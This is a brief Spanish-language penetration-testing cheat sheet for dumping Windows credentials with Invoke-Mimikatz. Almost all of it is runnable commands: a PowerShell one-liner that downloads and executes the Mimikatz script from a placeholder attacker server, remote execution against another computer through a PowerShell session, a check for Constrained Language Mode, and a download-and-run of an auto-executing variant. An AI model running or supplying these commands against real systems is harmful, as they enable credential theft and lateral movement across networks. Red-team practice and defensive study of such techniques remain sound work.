Credential dumping

Invoke-Mimikatz

Uso general.

Invoke-Mimikatz

Utilizando PowerShell remoting.

IEX (iwr http://<IP-address>:<port>/Invoke-Mimikatz.ps1 -UseBasicParsing)
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -Session $session -ScriptBlock ${function:Invoke-Mimikatz}

PowerShell Constrained Language Mode (CLM).

# Obtener modo de lenguaje de PowerShell
$ExecutionContext.SessionState.LanguageMode

# Transferencia de Invoke-MimikatzAutoExec.ps1
Invoke-WebRequest -Uri "http://<IP-address>:<port>/Invoke-MimikatzAutoExec.ps1" -OutFile "C:\<path>\Invoke-MimikatzAutoExec.ps1"

# Ejecución de Invoke-MimikatzAutoExec.ps1
.\Invoke-MimikatzAutoExec.ps1